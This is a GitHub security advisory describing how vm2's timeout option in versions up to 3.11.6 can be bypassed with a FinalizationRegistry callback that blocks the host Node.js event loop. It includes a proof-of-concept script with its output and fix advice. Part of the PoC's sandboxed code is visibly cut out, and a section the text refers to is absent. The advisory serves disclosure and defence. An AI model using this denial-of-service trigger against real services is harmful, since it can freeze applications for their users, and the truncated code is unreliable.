GitHub Advisoryadvisory · npm

GHSA-r4fx-v8hh-22mv vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)

HIGH Published 2026-10-05 Modified 2026-10-05 Official page ↗
Aliases
CVE-2026-92942
Ecosystem
npm
Packages
vm2
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-400, CWE-841
Reviewed
2026-10-05

Affected packages

• npm vm2: < 3.11.7 → fixed in 3.11.7

Description

Vulnerability Summary vm2's `VM({ timeout })` option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to `VM#run()` (via `doWithTimeout` → `this._runScript(script)` in `lib/vm.js`). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run *after* that call has already returned. `FinalizationRegistry` and `WeakRef` are exposed to sandboxed code completely unmodified — they are not present anywhere in `lib/setup-sandbox.js`'s list of specially-wrapped/hardened globals (only `WeakMap`, `Promise`, `Proxy`, `Reflect`, etc. receive hardening there). Sandboxed code can register a `FinalizationRegistry` callback against an object it creates and immediately drops. `VM#run()` returns normally, well within the configured timeout, because registration is instant. At some later point — determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via `--expose-gc`) — the engine invokes the sandboxed cleanup callback directly. This invocation is not mediated by `doWithTimeout`, `Script.runInContext({timeout})`, or any other vm2 accounting mechanism, because it isn't a new call to `VM#run()` at all — it's the GC's own native callback-invocation path. Affected Code & Version • Repository: `patriksimek/vm2` • Version tested: `3.11.6` (commit `a5b31cd9c01b37139aa9c71df1c691a6d1b440f9`, 2026-08-14) — the current `main` branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch). • `lib/vm.js`, `run()` (~line 501) and `doWithTimeout()` (~line 105): the `timeout` option only wraps the single call to `this._runScript(script)`. No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call. • `lib/setup-sandbox.js`, lines 1–14: the module's captured/hardened globals list (`LocalWeakMap`, `LocalProxy`, `LocalError`, etc.) does not include `FinalizationRegistry` or `WeakRef`. Repo-wide `grep` for `FinalizationRegistry|WeakRef` returns zero matches in `lib/`, confirming neither receives any wrapping, restriction, or special handling — they are exposed to sandboxed code as bare, fully-functional constructors. Steps to Reproduce Environment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with `npm install`. 1. Clone and install: ``` git clone https://github.com/patriksimek/vm2.git cd vm2 && npm install ``` 2. Save as `poc_timeout_bypass.js` in the repo root: ```js const { VM } = require('./lib/main.js'); const CONFIGURED_TIMEOUT_MS = 200; const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS }); const t0 = Date.now(); let runError = null; try { vm.run(` let target = {}; const registry = new FinalizationRegistry(() => { const busyStart = Date.now(); while (Date.now() - busyStart GC-eligible `); } catch (e) { runError = e.message; } const t1 = Date.now(); console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError); if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); } global.gc(); global.gc(); const timerScheduledAt = Date.now(); setTimeout(() => { const delay = Date.now() - timerScheduledAt; console.log('Host setTimeout(10ms) actually fired after', delay, 'ms'); console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms'); }, 10); ``` 3. Run: `node --expose-gc poc_timeout_bypass.js` 4. Observed output: ``` vm.run() returned after 2 ms. Threw: null Host setTimeout(10ms) actually fired after 3000 ms Total wall time since vm.run() returned: 3029 ms ``` 5. Interpretation: `run()` returned in 2ms, well inside the configured 200ms timeout — vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop — not just the sandbox — was blocked by sandboxed code running 15x longer than the configured timeout, entirely after `run()` had returned and outside any timeout enforcement. 6. `typeof FinalizationRegistry` and `typeof WeakRef` inside a fresh `VM()` both evaluate to `"function"` with no wrapping, confirming the surface is reachable by design, not by an incidental leak. Fix Recommendation Pick one or combine: 1. Remove `FinalizationRegistry` and `WeakRef` from the sandbox global scope by default. These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clock `timeout` promise. Delete them from the context in `lib/setup-sandbox.js` alongside the other hardening done there, mirroring how other dangerous globals are handled. 2. If they must remain available, wrap `FinalizationRegistry`'s constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. via `Script.runInContext` with `timeout` again, or by tracking cumulative CPU time via `process.hrtime`/`Isolate::TerminateExecution` if this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budget `run()` call is today. 3. Document the gap explicitly if neither is implemented immediately: the current README/docs describe `timeout` as bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (`FinalizationRegistry`) are exempt. any application that runs untrusted code through vm2 with a `timeout` expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (`registry.register(target, x)` then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker's loop runs — with no relationship at all to the configured `timeout` value. Because the freeze happens asynchronously and disconnected from the triggering `run()` call, it also undermines incident response: by the time the hang is observed, the `run()` call that caused it may be long gone from logs/traces. This is a timeout-enforcement bypass / uncontrolled resource consumption issue, not (as currently demonstrated) a proxy/realm escape to host object access — sandboxed code stays within its own realm. See "What this report does not claim" below.

Related

Alias · CVE (1)

  • CVE-2026-92942 vm2 before 3.11.7 (affected versions <= 3.11.6) does not enforce the VM({ timeout }) option on code executed outside the synchronous… vulnerability

Weakness · CWE (2)

  • CWE-400 Uncontrolled Resource Consumption weakness
  • CWE-841 Improper Enforcement of Behavioral Workflow weakness

References